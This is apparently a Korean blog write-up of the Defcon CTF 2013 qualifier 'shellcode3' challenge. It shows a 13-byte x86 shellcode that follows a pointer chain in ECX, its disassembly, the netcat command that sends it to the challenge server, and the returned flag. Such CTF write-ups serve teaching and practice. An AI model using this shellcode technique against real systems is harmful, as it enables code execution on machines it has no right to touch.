Defcon CTF 2013 Qual - shellcode3 (Exploit only)

2013. 7. 7. 19:08·CTF/2013

Category : Pwnable (\xff\xe4\xcc)

(empty)


Summary : short shellcoding, reuse pointer in ecx


/*

00A21E80     8B09           MOV ECX,DWORD PTR DS:[ECX]

00A21E82     8D41 05        LEA EAX,DWORD PTR DS:[ECX+5]

00A21E85     66:8138 4141   CMP WORD PTR DS:[EAX],4141

00A21E8A    ^75 F4          JNZ SHORT 00A21E80

00A21E8C     C3             RETN

*/

root@ubuntu:~# (python -c 'print "\x8b\x09\x8d\x41\x05\x66\x81\x38\x41\x41\x75\xf4\xc3"')| nc linked2.shallweplayaga.me 22222

List built.  Send me your shellcode.  Max size: 16

AAAThe key is: Who says ESP isn't general purpose!?!?


저작자표시 (새창열림)

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Defcon CTF 2013 Qual - shellcode3 (Exploit only)
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